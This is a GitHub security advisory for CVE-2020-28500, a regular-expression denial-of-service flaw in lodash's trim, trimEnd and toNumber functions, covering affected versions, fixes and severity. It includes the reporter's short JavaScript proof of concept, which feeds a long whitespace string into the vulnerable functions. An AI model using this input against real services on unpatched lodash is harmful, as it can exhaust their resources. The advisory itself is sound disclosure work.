GitHub Advisoryadvisory · npm, RubyGems

GHSA-29mw-wpgm-hmr9 Regular Expression Denial of Service (ReDoS) in lodash

MEDIUM Published 2022-01-06 Modified 2025-09-29 Official page ↗
Aliases
CVE-2020-28500
Ecosystem
npm, RubyGems
Packages
lodash, lodash-es, lodash.trimend, lodash.trim, lodash-rails
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weaknesses
CWE-1333, CWE-400
Reviewed
2021-03-19

Affected packages

• npm lodash: >= 4.0.0, < 4.17.21 → fixed in 4.17.21 • npm lodash-es: >= 4.0.0, < 4.17.21 → fixed in 4.17.21 • npm lodash.trimend: >= 4.0.0, <= 4.5.1 (no fix yet) • npm lodash.trim: >= 4.0.0, <= 4.5.1 (no fix yet) • RubyGems lodash-rails: >= 4.0.0, < 4.17.21 → fixed in 4.17.21

Description

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions. Steps to reproduce (provided by reporter Liyuan Chen): ```js var lo = require('lodash'); function build_blank(n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0); var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1); var time2 = Date.now(); lo.trimEnd(s); var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2); ```

Related

Alias · CVE (1)

  • CVE-2020-28500 Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd… vulnerability

Weakness · CWE (2)

  • CWE-1333 Inefficient Regular Expression Complexity weakness
  • CWE-400 Uncontrolled Resource Consumption weakness

References